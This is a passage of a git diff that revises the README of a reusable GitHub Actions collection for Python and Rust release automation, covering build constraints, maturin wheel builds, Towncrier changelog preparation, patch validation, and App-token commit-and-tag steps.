The Action reads only the `needs` JSON and needs no checkout. -## Validate release patch +## Export constraints for a build matrix -`validate-release-patch` applies the uploaded patch in the writer's checkout, checks its changed paths and file modes, -and leaves it staged for the commit Action. Download the patch artifact to `${{ runner.temp }}/release-patch` first. It -needs no release tools. +`export-build-constraints` reads `pylock.toml` by default. Pass `lock` for a secondary lock such as `pylock.build.toml`, +plus `target-platform` and `targets` when the build matrix needs constraints for specific interpreters. The output +`path` names a temporary requirements file with hashes. The Action writes no tracked files. ```yaml - - uses: tox-dev/github-workflows/validate-release-patch@SHA + - id: constraints + uses: tox-dev/github-workflows/export-build-constraints@SHA + with: + lock: pylock.build.toml + target-platform: linux_aarch64 + targets: 3.15.0:cpython ``` -**Output:** No named output. **Working-tree effect:** Applies and stages the patch. The Action reads the changelog path -and fragment directory from committed Towncrier configuration. Only the changelog and direct fragment deletions may -appear in the patch, as regular files. An unexpected path or mode fails the job. Set `allowed-paths` to -newline-separated glob patterns to replace that path rule: the patch may then change only the matching paths, and the -Towncrier configuration is not read. The [release-creator preparation](#prepare-release-creator-release) sets it. +`targets` is a space-separated list of `full-version:implementation` pairs. -## Commit and tag release +## Build a distribution for a pull request -`commit-and-tag` commits the staged release patch with the GitHub App bot identity, creates the tag, and atomically -pushes the branch and tag to `origin`. A rejected push leaves neither remote ref updated. Mint the token after -validation with `actions/create-github-app-token`, narrowed to this repository and Contents write. Put `commit-and-tag` -last in the writer job: its Git credential helper remains available to later steps. +`build-python-distribution` remains available for existing keyless PR build jobs. It exports hashed build constraints +from the caller's lock, and writes a wheel and sdist to `dist/`. It does not upload or publish them. Tagged release jobs +use `validate-python-release.yaml`. ```yaml - - id: token - uses: actions/create-github-app-token@TOKEN_ACTION_SHA - with: - client-id: ${{ vars.RELEASE_APP_CLIENT_ID }} - private-key: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} - owner: ${{ github.repository_owner }} - repositories: ${{ github.event.repository.name }} - permission-contents: write - - uses: tox-dev/github-workflows/commit-and-tag@SHA - with: - version: ${{ needs.assemble.outputs.version }} - token: ${{ steps.token.outputs.token }} - app-slug: ${{ steps.token.outputs.app-slug }} - message: release ${{ needs.assemble.outputs.version }} + - uses: tox-dev/github-workflows/build-python-distribution@SHA ``` -- `version` **(required)**: Tag name to create, such as `1.2.3`. -- `token` **(required)**: Short-lived installation token from the repository-only App. The Action never reads the key. -- `app-slug` **(required)**: `app-slug` output from the token Action, used to resolve the bot's Git identity. -- `message` **(required)**: Commit message. It is also the annotated tag message when `annotated` is `true`. -- `annotated`: `false` (default) creates a lightweight tag; `true` creates an annotated tag. Match the repository's - existing release history. +The Action builds the checkout root and has no named output; subsequent steps read `dist/`. -**Output:** No named output. **Remote effect:** One new commit on `main` and one tag at that commit. The App needs a -branch and tag ruleset bypass. A stale branch, invalid tag, or ruleset rejection fails the push. - -## Render GitHub Release notes +## Build maturin wheels -`render-release-notes` checks the tag and its changelog section, finds the previous tag, and renders an unwrapped GitHub -Release body with `release-creator`. Call it on the actual tag in a read-only job with the full history. The release job -creates the Release; this Action only writes a local Markdown file. +`build-maturin-wheels.yaml` builds a maturin extension for a JSON build matrix and uploads the wheels and sdist under +the artifact names the caller's publisher reads. The `source` job checks out the commit, runs the optional pre-build +command once, and uploads the source. Each matrix entry runs in its own `build` job, and the `sdist` job builds the +sdist from the hash-checked build group. The `gate` job runs `required-checks` over `source`, `build`, and `sdist`; +`sdist` may end skipped when the `sdist` input is `false`. Jobs hold `contents: read` at most. ```yaml - - uses: tox-dev/github-workflows/render-release-notes@SHA +jobs: + build: + uses: >- + tox-dev/github-workflows/.github/workflows/build-maturin-wheels.yaml@SHA with: - tag: ${{ github.ref_name }} - changelog: CHANGELOG.md - artifact-url: https://pypi.org/project/example/${{ github.ref_name }}/ + package-name: pyproject-fmt + package-path: pyproject-fmt + matrix: >- + [ + {"os": "ubuntu-24.04", "target": "x86_64", "artifact": "linux-x86_64", "manylinux": "2_28", + "python": "3.15 3.14t pypy3.11"}, + {"os": "ubuntu-24.04", "target": "aarch64", "artifact": "linux-aarch64", "args": "--zig"}, + {"os": "ubuntu-24.04", "target": "x86_64", "artifact": "linux-x86_64-315t", + "python": "3.15t", "args": "--no-default-features --features extension-module"}, + {"os": "windows-2025", "target": "x64", "artifact": "windows-x64", "python": "3.15 3.14t"}, + {"os": "macos-15", "target": "aarch64", "artifact": "macos-aarch64", "python": "3.15 3.14t pypy3.11"} + ] + post-build-command: uv run --no-project pyproject-fmt/build_backend.py dist + permissions: + contents: read ``` -- `tag` **(required)**: Release version, such as `1.2.3`. The checkout must contain its changelog section. -- `changelog` **(required)**: Tracked Markdown or reStructuredText changelog in the format that `release-creator notes` - parses, with exactly one section for the tag. -- `artifact-url`: Ecosystem release URL, such as a PyPI version page. Omit it for a GitHub-only project. A project that - publishes several packages puts one URL per line; the links share one line of the body, separated by commas. -- `artifact-label`: Link text for each `artifact-url` line, in the same order; default `PyPI release`. Use `Zipapp` or - another product name for a different artifact. `release-creator` adds an emoji for the link's ecosystem. +Each matrix entry takes these keys: -The Action reads `GITHUB_REPOSITORY` for PR and comparison links. A repository with separate release namespaces, such as -toml-fmt, calls `release-creator notes --package` directly for its package changelog. +- `os`: runner label, used as `runs-on`. +- `target`: Rust target triple passed to maturin. +- `artifact`: suffix of the uploaded `-wheels-` artifact. +- `python`: space-separated interpreters for `--interpreter`; default `3.15`. +- `manylinux`: manylinux or musllinux policy; default `auto`. +- `args`: extra maturin arguments, such as `--zig`. -**Output:** No named output. **Working-tree effect:** The Action writes only `$RUNNER_TEMP/release-notes.md`. Pass it to -`gh release create --notes-file` only after the ecosystem publisher succeeds. It rejects an invalid tag, a missing -heading, an empty body, or a missing comparison link when an earlier tag exists. It does not write a GitHub Release, so -it needs only read permissions. +`package-path` is the directory holding the package's `Cargo.toml`; the sdist is built from it. `release-build` defaults +to `false`, but any tag ref runs in release mode too, so a tag caller can omit it. Release mode builds without sccache. +`workflow_call` defaults cannot be expressions, so the workflow combines the two inside. -## Select the previous release tag +`pre-build-command` runs once in the source job from the checkout root, so every wheel job builds the same tree. Use it +for a version bump, which must happen before the source artifact is written. `post-build-command` runs in each wheel job +after maturin, from the checkout root with the wheels in `dist`. Vendoring belongs there, because maturin skips the PEP +517 hook that would otherwise vendor files. Both commands run under `bash -c`; the caller installs whatever they need, +such as cargo-edit for `cargo set-version`. -`select-previous-tag` finds the preceding numeric tag using release-creator's version rules. The caller must check out -the tag history and install release-creator first. It reads Git tags and writes one step output; it does not change the -checkout or GitHub state. +The source job installs the `release-build` group of the caller's `pylock.toml` to read the maturin version. The sdist +job exports constraints from the `build` group. Both groups come from the lock that +[export-build-constraints](#export-constraints-for-a-build-matrix) reads. `exclude-newer` and `exclude-newer-package` +set the upload cutoff for those installs, as in [Tools the Actions install](#tools-the-actions-install). Set +`sdist: false` to skip the sdist job. -```yaml - - id: previous - uses: tox-dev/github-workflows/select-previous-tag@SHA - with: - tag: ${{ github.ref_name }} -``` +What stays in the caller: -`tag` is required. Install `release-creator` on `PATH` before calling the Action. The `previous` output is empty when -this is the first matching release. +- Profile-guided optimization. A PGO leg needs an instrumented build, a training run, and a profile check inside the + same job. Simplint keeps its four PGO legs in a local job and passes the remaining matrix entries to this workflow. +- Version selection, README generation, and any other changes to the source beyond `pre-build-command`. +- Package checks on the built files, such as an sdist that must carry vendored code. The workflow inspects nothing + inside the built files; check them in the package's own `tox -e pkg_meta` run. +- Publishing. Keep PyPI trusted publishing in the caller's tag workflow. -## Reconcile PyPI artifacts +## Start with a caller -`reconcile-pypi-artifacts` compares the complete validated distribution directory with PyPI's Simple JSON API and -verifies a trusted-publisher attestation for each file. Upload the complete validated directory with the pinned PyPI -publisher. If a run fails, use "Re-run failed jobs" so the upload repeats with the same built files. Run this Action -after the publisher. A different digest in an already published file, unexpected or yanked file, malformed response, or -invalid attestation fails. The GitHub Release writer must depend on this verification. +The [release preparation workflow](.github/workflows/prepare-release.yaml) in this repository calls the reusable +Towncrier workflow. Its `assemble` job uploads a patch. The `push` job downloads that artifact by ID and checks its +paths and modes before minting a repository-scoped App token. Set the tag style in the caller and the changelog path and +fragment directory in committed Towncrier configuration. Pin the reusable workflow to a release commit SHA; `SHA` in +these examples means that commit. -```yaml - - uses: tox-dev/github-workflows/reconcile-pypi-artifacts@SHA - with: - project: example - version: ${{ github.ref_name }} - dist: dist +Assembly needs release history to select a tag. The writer can check out the source commit with `fetch-depth: 1`. All +jobs use `persist-credentials: false`. Assembly installs the caller's locked release tools and needs `contents: read` +and `pull-requests: read` to resolve PR authors. It starts `prek install-hooks` while building the changelog, then waits +for the hooks before formatting and uploading the patch. The writer uses the `release-auth` environment with +`RELEASE_APP_PRIVATE_KEY` and `RELEASE_APP_CLIENT_ID`. Restrict that environment to `main`. Install the App on this +repository only, with Contents write and Metadata read, and grant the necessary branch and tag ruleset bypass. + +```text +main + fragments + โ”‚ + โ–ผ +prepare-towncrier โ”€โ”€โ–บ upload patch + โ”‚ + โ–ผ + verify paths and modes + โ”‚ + โ–ผ + mint App token โ”€โ”€โ–บ commit-and-tag โ”€โ”€โ–บ main + tag ``` -`project`, `version`, and `dist` are required. The Action installs `pypi-attestations` on Python 3.15 under the -`exclude-newer` cutoff and waits up to 120 seconds for PyPI's listing to propagate. It compares every file in `dist` -with that listing, then runs `pypi-attestations verify pypi` on each local file against the caller repository. It prints -no credentials. +The tag starts the caller's publisher. Keep PyPI trusted publishing in that top-level workflow, in a separate job with +`id-token: write` because +[PyPI disallows reusable workflows](https://docs.pypi.org/trusted-publishers/troubleshooting/). Repositories with the +standard `uv` wheel and sdist build can call `validate-python-release.yaml` in the tag publisher. The +[self-release workflow](.github/workflows/release.yaml) shows the GitHub Release path; callers keep their ecosystem +uploads. The tag caller renders the Release body with `release-notes.yaml` and creates the Release with +`github-release.yaml`, as in +[Render release notes and publish the GitHub Release](#render-release-notes-and-publish-the-github-release). -## Publish a GitHub Release +## Prepare and tag with one reusable workflow -`publish-github-release` writes a GitHub Release from the rendered notes. Pass the exact notes file and the tag's commit -SHA. A retry resumes the existing draft and updates its title, notes, and prerelease flag, or succeeds without a write -when the Release is already published. Run it in a Contents-write job that downloads the notes and optional assets; it -needs no checkout or tool installation. For a repository that must upload GitHub assets before PyPI, call it with -`mode: stage`, verify PyPI's exact artifact set, then call it with `mode: publish` and the same `assets-directory`. The -draft stays private until the second call succeeds. Enable immutable releases in the repository before using this -Action. The Action checks a draft's assets again before upload and publication. A published release whose API record is -immutable has its assets checked from the release listing, with no write or second fetch. Older mutable releases retain -the asset recheck. +`prepare-towncrier-release.yaml` runs two jobs. `assemble` selects a tag and uploads a Towncrier patch without the App +key. `push` downloads that artifact by ID, checks its paths and file modes, reads the caller's `release-auth` +environment, and uses a repository-scoped App token to push the release commit and tag together. ```yaml - - uses: tox-dev/github-workflows/publish-github-release@SHA - env: - GH_TOKEN: ${{ github.token }} +jobs: + prepare: + uses: >- + tox-dev/github-workflows/.github/workflows/prepare-towncrier-release.yaml@SHA + permissions: + contents: read + pull-requests: read with: - tag: ${{ github.ref_name }} - commit: ${{ github.sha }} - title: ${{ github.ref_name }} - notes-file: ${{ runner.temp }}/release-notes.md + bump: ${{ inputs.bump }} + tag-prefix: v + annotated: true + secrets: + RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} ``` -- `tag`, `commit`, `title`, and `notes-file` are required. The Action uses the caller repository; `commit` is the tag's - commit, used as the target when the Action creates the Release. -- Before it writes a draft, the Action asks GitHub to generate notes for the range from the previous tag in the notes' - `Full Changelog` link to `tag`, and adds GitHub's first-time contributors, bots excluded, as a `New Contributors` - section above the trailing links. The changelog file never carries this list. A published Release is left as it is. -- `assets-directory`: Optional directory of the assets to attach. The Action compares each filename and SHA256 digest - with GitHub's Release asset metadata, uploads missing draft assets, and rejects extra or changed assets. After - publication it verifies GitHub's release attestation for each local asset. -- `prerelease`: `true` or `false`; default `false`. -- `mode`: `complete` (default) creates or resumes a draft and publishes it in one call. `stage` creates or resumes a - draft and uploads assets without publishing. `publish` publishes the draft, creating it first if it is missing, after - checking its complete asset set again. +The caller supplies the `release-auth` environment secret by name; the App client ID comes from that environment's +`RELEASE_APP_CLIENT_ID` variable. The App token requests Contents write for this repository only. The caller grants its +GitHub token Contents and Pull requests read. Assembly installs `release-prepare`, which contains release-creator, +Towncrier, and prek. No job output crosses back to the caller. A successful run pushes a tag, which the caller's tag +workflow handles. -**Output:** No named output. **Remote effect:** Depending on `mode`, the Action creates or resumes a draft, uploads -missing assets, and publishes only after the complete asset set matches. A published Release causes no write. A draft -with a different title, body, or prerelease flag is updated; a Release with a different asset set fails. A failed upload -leaves the draft for a later retry. The Action removes incomplete `starter` assets before retrying. It retries reading -the release by ID for up to ten seconds after draft creation or asset upload; a mismatch still fails when that window -ends. +`bump`, `tag-prefix`, and `changelog-prefix` have the same meanings as the `prepare-towncrier` inputs below. `annotated` +selects an annotated tag. `release-auth-deployment` defaults to `true`; set it to `false` if the current App-key job +uses `release-auth` without creating a GitHub Deployment. The caller can place repository-specific checks in a preceding +job and make this job depend on it. One dispatch prepares one tag; run separate dispatches for separate packages. The +tag-triggered ecosystem publisher stays in the caller repository. -## Reconcile a post-release pull request +## Read Towncrier configuration -`publish-post-release-pr` consumes a candidate commit prepared without an App token. The preparation job records the -base commit, desired branch, and a tab-separated file of changed paths and Git blob SHA1 values, then creates a Git -bundle containing `refs/heads/release-candidate` and its full history. A thin bundle fails verification in the writer's -empty bare repository. Upload the bundle, path file, and body as one artifact. Pass the upload step's artifact ID to the -writer's download step, so a rerun cannot select an older artifact with the same name. The writer runs without checkout -under the caller's `release-auth` environment and needs Contents, Pull requests, and Issues write access for its App -token. Put `publish-post-release-pr` last in the writer job because its Git credential helper remains available to later -steps. +`read-towncrier-config` reads `towncrier.toml` or `pyproject.toml` from the checkout's committed `HEAD`, so an untrusted +release patch cannot change the allowed paths. ```yaml - - uses: actions/download-artifact@DOWNLOAD_SHA - with: - artifact-ids: ${{ needs.prepare.outputs.artifact-id }} - path: prepared/ - - uses: tox-dev/github-workflows/publish-post-release-pr@SHA - env: - GH_TOKEN: ${{ steps.app-token.outputs.token }} - with: - base-commit: ${{ needs.prepare.outputs.base-commit }} - branch: post-release-${{ github.ref_name }} - title: Bump version to 2.4.8-dev - body-file: prepared/body.md - paths-file: prepared/paths.tsv - allowed-paths: gradle.properties - bundle: prepared/candidate.bundle - candidate-commit: ${{ needs.prepare.outputs.candidate-commit }} + - id: towncrier + uses: tox-dev/github-workflows/read-towncrier-config@SHA + - env: + CHANGELOG: ${{ steps.towncrier.outputs.changelog }} + run: printf '%s\n' "$CHANGELOG" ``` -The Action verifies that the candidate is a single-parent commit on `base-commit`, and checks its changed path set -against the writer's `allowed-paths`, its regular file modes, and its blob identities before any write. - -Pass the keyless job's `base-commit`, the desired `branch` and `title`, and the exact PR body in `body-file`. -`paths-file` contains one tab-separated path and desired Git blob SHA1 per line. The Action targets `main` in -`GITHUB_REPOSITORY` and applies `skip news` to the PR. - -A matching open branch and PR need no second push. If a matching branch has no PR, it creates one. A merged PR with a -deleted branch succeeds. A closed, unmerged PR fails before the Action creates a replacement branch or PR; reopen the PR -before retrying. When the prepared change has already merged and produced no new commit, pass empty `bundle` and -`candidate-commit` values with the same path manifest; the Action finds the merged PR. The Action has no named output. +Outputs are `changelog`, `fragments`, and `format`: `rst` for a `.rst` changelog, otherwise `markdown`. The Action does +not modify the checkout or GitHub state. -## Sign a JetBrains plugin +## Prepare Towncrier release -`sign-jetbrains-plugin` signs an unsigned plugin ZIP after a keyless Gradle `buildPlugin` job. Run it in a fresh job on -`ubuntu-26.04` with the signing environment, no checkout, and no Gradle invocation. Download the unsigned artifact and -pass the SHA256 emitted before that artifact was uploaded. The Action checks the file's digest, downloads JetBrains -Marketplace ZIP Signer 0.1.43 from Maven Central, verifies its pinned SHA256, and uses the runner's Java 17 -installation. It accepts plain PEM or base64 credentials and an encrypted private key with its password. The private key -is mapped only into the sign step's environment. Its temporary file is removed when that step ends. +`prepare-towncrier` chooses the next version, links fragments to their squash PRs, runs Towncrier and the selected +formatter hook through `prek`, then writes a binary Git patch at `$RUNNER_TEMP/release.patch`. It reads the changelog +path, fragment directory, and Markdown or RST format from committed Towncrier configuration through +`read-towncrier-config`. It does not commit or push. Version selection, fragment linking, the Towncrier build, and +formatting must all succeed. ```yaml -sign: - needs: build-unsigned - runs-on: ubuntu-26.04 - environment: release - permissions: {} - outputs: - archive: ${{ steps.signed.outputs.archive }} - sha256: ${{ steps.signed.outputs.sha256 }} - steps: - - uses: actions/download-artifact@DOWNLOAD_SHA - with: - name: unsigned-plugin - path: dist/ - - id: signed - uses: tox-dev/github-workflows/sign-jetbrains-plugin@SHA - with: - archive: dist/Plugin-1.2.3.zip - sha256: ${{ needs.build-unsigned.outputs.archive_sha }} - certificate-chain: ${{ secrets.CERTIFICATE_CHAIN }} - private-key: ${{ secrets.PRIVATE_KEY }} - private-key-password: ${{ secrets.PRIVATE_KEY_PASSWORD }} - - uses: actions/upload-artifact@UPLOAD_SHA - with: - name: plugin-distribution - path: ${{ steps.signed.outputs.archive }} - if-no-files-found: error + - id: prepare + uses: tox-dev/github-workflows/prepare-towncrier@SHA + with: + bump: ${{ inputs.bump }} ``` -`archive` and `sha256` identify the unsigned ZIP. `certificate-chain` and `private-key` supply the signing identity; -`private-key-password` is needed only for an encrypted key. The outputs are `archive`, the signed ZIP path, and -`sha256`, the digest to check after download in the publisher and GitHub Release jobs. **Remote effect:** downloads the -pinned signer JAR. It makes no GitHub or Marketplace write. The caller uploads the signed ZIP as a GitHub Actions -artifact after the Action succeeds. Keep the Marketplace token in a different no-checkout job. +- `bump`: `auto` (default), `major`, `minor`, or `patch`. Passed to `release-creator tags --next`; `auto` uses the + pending fragments. The caller's dispatch form decides which choices to expose. +- `tag-prefix`: Empty by default. Use `v` when release tags are spelled `v1.2.3`; version comparison still includes + unprefixed numeric tags in the repository's history. This does not set the changelog heading prefix. +- `changelog-prefix`: Empty by default, so Towncrier writes `1.2.3` even if the tag is `v1.2.3`. Set `v` for a changelog + whose release headings use `v1.2.3`. +- `version`: Explicit version for a caller with its own version selector. It takes precedence over `bump`. +- `phase`: `all` (default) runs the complete Action. The reusable workflow uses `build` to select the version, link + authors, and build the changelog while hooks install; it then uses `finalize` to format, render, and write the patch. + Pass the version selected by `build` to `finalize`. -## Publish a JetBrains plugin +The committed `tool.towncrier` configuration gives the `filename` and `directory`. `docstrfmt` formats a `.rst` +changelog and `mdformat` any other; the formatter must be a configured `prek` hook. The Action writes the patch at +`$RUNNER_TEMP/release.patch`; the reusable workflow uploads it by artifact ID. -`publish-jetbrains-marketplace` uploads one signed ZIP through the -[Marketplace upload API](https://plugins.jetbrains.com/docs/marketplace/plugin-upload.html). Run it in a fresh job -without checkout or Gradle. The release workflow must serialize runs for the same tag. Download the signed ZIP and -release notes by the artifact IDs from their producing jobs. The Action checks both before using the upload token. +**Output:** `version` is the selected tag string. Use `steps.prepare.outputs.version` as a job output and pass it to +both later Actions. **Working-tree effect:** Towncrier changes the changelog and consumes fragments; the patch records +those changes. -```yaml -marketplace-publish: - needs: [sign, notes] - runs-on: ubuntu-26.04 - permissions: - actions: read - environment: release - steps: - - uses: actions/download-artifact@DOWNLOAD_SHA - with: - artifact-ids: ${{ needs.sign.outputs.artifact-id }} - path: dist - - uses: actions/download-artifact@DOWNLOAD_SHA - with: - artifact-ids: ${{ needs.notes.outputs.artifact-id }} - path: ${{ runner.temp }}/notes - - name: ๐Ÿš€ Publish signed ZIP - uses: tox-dev/github-workflows/publish-jetbrains-marketplace@SHA - with: - archive: dist/Plugin-1.2.3-signed.zip - sha256: ${{ needs.sign.outputs.sha256 }} - plugin-id: '29973' - channel: '' - tag: ${{ github.ref_name }} - commit: ${{ github.sha }} - signed-artifact-id: ${{ needs.sign.outputs.artifact-id }} - notes-artifact-id: ${{ needs.notes.outputs.artifact-id }} - notes-file: ${{ runner.temp }}/notes/release-notes.md - github-token: ${{ github.token }} - publish-token: ${{ secrets.PUBLISH_TOKEN }} -``` +## Validate release patch -`channel` is empty for Stable; use a Marketplace channel name for a prerelease. Keep the publishing step named -`๐Ÿš€ Publish signed ZIP`. The Action recognizes that name and three older upload step names in prior runs. Keep those -names in the Action when adding another. Give the job Actions read access and the workflow a concurrency group keyed by -tag. Use the `release` environment on the upload job. The Action searches earlier tag runs for a started upload step. An -acceptance receipt must match the original artifact IDs, signed ZIP digest, and release notes bytes before the Action -skips upload. An earlier upload step without a receipt stops for manual reconciliation. A renamed publishing step is not -recognized in earlier runs until the Action knows its name. +`validate-release-patch` applies the uploaded patch in the writer's checkout, checks its changed paths and file modes, +and leaves it staged for the commit Action. Download the patch artifact to `${{ runner.temp }}/release-patch` first. It +needs no release tools. -**Output:** A `marketplace-acceptance--` Actions artifact after a new upload. It records the tag, commit, -plugin, channel, signed ZIP artifact and SHA256, and notes artifact and SHA256. **Remote effect:** One multipart upload -to JetBrains Marketplace when no earlier acceptance exists, plus a GitHub Actions receipt artifact. The Action treats an -HTTP 2xx response as acceptance; it does not depend on undocumented response fields. Run the keyless release-creator -`marketplace --mode stage` check before this job and `--mode verify` after the version is public. +```yaml + - uses: tox-dev/github-workflows/validate-release-patch@SHA +``` -If the Action stops without a receipt, inspect the exact plugin, version, and channel in the Marketplace dashboard. If -the update is pending review, wait until it is public and verify its member bytes against the original signed ZIP. Then -rerun the tag workflow: the keyless stage check must skip Marketplace upload before GitHub Release publication. If -Marketplace rejected the update, resolve the rejection and prepare a new release tag. A 404 alone does not authorize -another upload of the same tag. +**Output:** No named output. **Working-tree effect:** Applies and stages the patch. The Action reads the changelog path +and fragment directory from committed Towncrier configuration. Only the changelog and direct fragment deletions may +appear in the patch, as regular files. An unexpected path or mode fails the job. Set `allowed-paths` to +newline-separated glob patterns to replace that path rule: the patch may then change only the matching paths, and the +Towncrier configuration is not read. The [release-creator preparation](#prepare-release-creator-release) sets it. -## Require needed jobs +## Commit and tag release -`required-checks` fails unless every job in the `needs` context succeeded. Its one input is `toJSON(needs)`. Keep the -caller's gate job, its name, and `if: ${{ !cancelled() }}`, because the name is the required status check. The Action -replaces the `jq` expression each gate repeats. +`commit-and-tag` commits the staged release patch with the GitHub App bot identity, creates the tag, and atomically +pushes the branch and tag to `origin`. A rejected push leaves neither remote ref updated. Mint the token after +validation with `actions/create-github-app-token`, narrowed to this repository and Contents write. Put `commit-and-tag` +last in the writer job: its Git credential helper remains available to later steps. ```yaml -gate: - name: ๐Ÿšฆ Required checks pass - if: ${{ !cancelled() }} - needs: [test, type] - runs-on: ubuntu-26.04 - permissions: {} - steps: - - uses: tox-dev/github-workflows/required-checks@SHA - with: - needs: ${{ toJSON(needs) }} + - id: token + uses: actions/create-github-app-token@TOKEN_ACTION_SHA + with: + client-id: ${{ vars.RELEASE_APP_CLIENT_ID }} + private-key: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} + owner: ${{ github.repository_owner }} + repositories: ${{ github.event.repository.name }} + permission-contents: write + - uses: tox-dev/github-workflows/commit-and-tag@SHA + with: + version: ${{ needs.assemble.outputs.version }} + token: ${{ steps.token.outputs.token }} + app-slug: ${{ steps.token.outputs.app-slug }} + message: release ${{ needs.assemble.outputs.version }} ``` -- `needs` **(required)**: The `needs` context as `toJSON(needs)`. -- `allow-skipped`: Newline-separated job IDs that may end skipped, such as a job that runs on one interpreter only. Each - ID must also appear in `needs`; a typo fails the Action and names the typo. A listed job that succeeded passes too. +- `version` **(required)**: Tag name to create, such as `1.2.3`. +- `token` **(required)**: Short-lived installation token from the repository-only App. The Action never reads the key. +- `app-slug` **(required)**: `app-slug` output from the token Action, used to resolve the bot's Git identity. +- `message` **(required)**: Commit message. It is also the annotated tag message when `annotated` is `true`. +- `annotated`: `false` (default) creates a lightweight tag; `true` creates an annotated tag. Match the repository's + existing release history. -**Output:** No named output. **Remote effect:** None. The Action reads only the `needs` JSON and needs no checkout. +**Output:** No named output. **Remote effect:** One new commit on `main` and one tag at that commit. The App needs a +branch and tag ruleset bypass. A stale branch, invalid tag, or ruleset rejection fails the push. -## Check a tox library +## Prepare release-creator release -`check.yaml` is a reusable workflow for a Python library tested with tox. It runs one job per `include` row, installs -tox with uv under the `exclude-newer` cutoff, sets up each tox environment with `--notest`, then runs it with -`--skip-pkg-install`. It ends with its own gate over the rows. The caller keeps a gate of its own, as below, so the -required check name stays in the caller. Pin it to a release commit SHA. +`prepare-release-creator.yaml` runs the same two-job split as +[prepare-towncrier-release](#prepare-and-tag-with-one-reusable-workflow). `assemble` has no App key. It selects the tag +from the tags and pending fragments, links fragments to their pull requests, optionally runs `cargo set-version`, runs +the caller's changelog command, adds New Contributors, formats the changelog with the `mdformat` prek hook, and uploads +the patch. `push` downloads that patch by ID, applies it with [validate-release-patch](#validate-release-patch) using +`allowed-paths`, mints a repository-scoped App token, and runs [commit-and-tag](#commit-and-tag-release). ```yaml -name: ๐Ÿงช check -on: - pull_request: - types: [opened, synchronize, reopened] - push: - branches: ["main"] - tags-ignore: ["**"] -permissions: {} -concurrency: - group: check-${{ github.ref }} - cancel-in-progress: true jobs: - test: - name: ๐Ÿงช Test - uses: tox-dev/github-workflows/.github/workflows/check.yaml@SHA + prepare: + uses: >- + tox-dev/github-workflows/.github/workflows/prepare-release-creator.yaml@SHA permissions: contents: read + pull-requests: read with: - include: | - [ - {"env": "3.15"}, - {"env": "3.15t", "python": "3.15t"}, - {"env": "3.14", "python": "3.14"}, - {"env": "type"}, - {"env": "pkg_meta"} - ] - gate: - name: ๐Ÿšฆ Required checks pass - if: ${{ !cancelled() }} - needs: [test] - runs-on: ubuntu-26.04 - permissions: {} - steps: - - uses: tox-dev/github-workflows/required-checks@SHA - with: - needs: ${{ toJSON(needs) }} + bump: ${{ inputs.bump }} + package: ${{ inputs.package }} + tag-format: '{package}/{version}' + cargo-set-version: true + cargo-set-version-args: -p {package} + assemble-command: >- + uv run --project "$PACKAGE" python tasks/generate_readme.py "$PACKAGE" && + python3 tasks/assemble_release.py "$PACKAGE" "$VERSION" + release-paths: | + CHANGELOG.md + Cargo.lock + uv.lock + {package}/Cargo.toml + {package}/README.rst + changelog.d/{package}/* + secrets: + RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} ``` -- `include` **(required)**: JSON array of matrix rows. Each row needs `env`, the tox environment. `python` is a uv - interpreter the job installs before tox runs, such as `3.15t`; leave it out for the runner's Python. `os` overrides - the runner for that row. -- `os`: Runner for rows without `os`; default `ubuntu-26.04`. -- `apt-packages`: Space-separated Ubuntu packages installed on Linux jobs before tox, such as `graphviz`. -- `tox-install`: Arguments to `uv tool install` that put tox and its plugins on `PATH`; default `tox --with tox-uv`. A - project that is tox-uv itself passes `tox --with .`. -- `exclude-newer` and `exclude-newer-package`: The cutoff for the tox install, as in the Actions above; default - `7 days`. The tox environments themselves install fresh dependencies. -- `pytest-addopts`: `PYTEST_ADDOPTS` for the test run; default `-vv --durations=20`. -- `diff-against`: `DIFF_AGAINST` for the test run, a Git revision; default `HEAD`. -- `coverage`: `true` uploads each job's `.tox/.coverage.*` as an artifact named for its runner and row, kept three days. - A caller job merges them with `actions/download-artifact` using the pattern `.coverage.*` and runs its coverage - environment. +Simplint's single-package release uses unprefixed tags and no package scope: + +```yaml + with: + bump: ${{ inputs.bump }} + tag-format: '{version}' + cargo-set-version: true + assemble-command: python3 tasks/assemble_release.py "$VERSION" + release-paths: | + CHANGELOG.md + Cargo.lock + Cargo.toml + changelog.d/* +``` + +- `bump`: `auto`, `major`, `minor`, or `patch`, passed to `release-creator tags --next`. +- `package`: scopes tags to `package/` and fragments to `changelog.d/`. Empty for a single-package repository. +- `tag-format`: `{version}`, `v{version}`, `{package}/{version}`, or `{package}/v{version}`. A `{package}` format needs + `package`, and a format without it rejects `package`. +- `changelog`: tracked Markdown changelog; default `CHANGELOG.md`. +- `assemble-command` **(required)**: shell command that writes the changelog section from the fragments. It runs with + `PACKAGE`, `VERSION` (the bare number), and `TAG` set, and it may run the package's own build steps first. +- `release-paths` **(required)**: newline-separated glob patterns, the only paths the patch may change. `{package}` + expands to `package`. Each matched path may be added, modified, or deleted as a regular file; other modes fail. + `validate-release-patch` does not read the Towncrier configuration in this mode. +- `cargo-set-version`: run `cargo set-version` with the number before assembly; default `false`. + `cargo-set-version-args` holds the arguments before the number, such as `-p {package}`. Cargo and cargo-edit install + only when this is set. +- `annotated`, `release-auth-deployment`, `exclude-newer`, and `exclude-newer-package` match + `prepare-towncrier-release`. -The check run names are `๐Ÿงช Test / ๐Ÿงช on ` and the gate's name is unchanged. The job runs project code, so the -caller grants it `contents: read` only. +The caller keeps the `release-auth` environment with `RELEASE_APP_PRIVATE_KEY` and the `RELEASE_APP_CLIENT_ID` variable. +Assembly installs `release-prepare`, which contains release-creator, Towncrier, and prek. -## Analyze with CodeQL +What stays in the caller: -`codeql.yaml` is a reusable CodeQL workflow. It has one analysis job per language and no triggers, so the caller keeps -its schedule, branches, and pull request events. The caller grants `security-events: write`, because the analysis -uploads results to code scanning. +- The changelog. `assemble-command` writes it, because release-creator does not build a `## ` section in a + shared changelog. Simplint's `assemble_release.py` and toml-fmt's package sections both stay in the caller. +- Any Cargo or uv version change beyond `cargo-set-version`, such as `uv version --package` for a second Python package. +- The tag-triggered publisher, which stays in the caller repository. + +## Validate a Python release + +`validate-python-release.yaml` runs one `build` job. It exports hashed build constraints from the caller lock, builds +the wheel and sdist, and uploads them. The workflow does not inspect the built files further; check package metadata and +wheel contents in the package's own `tox -e pkg_meta` run. ```yaml -name: ๐Ÿ›ก๏ธ CodeQL -on: - push: - branches: [main] - 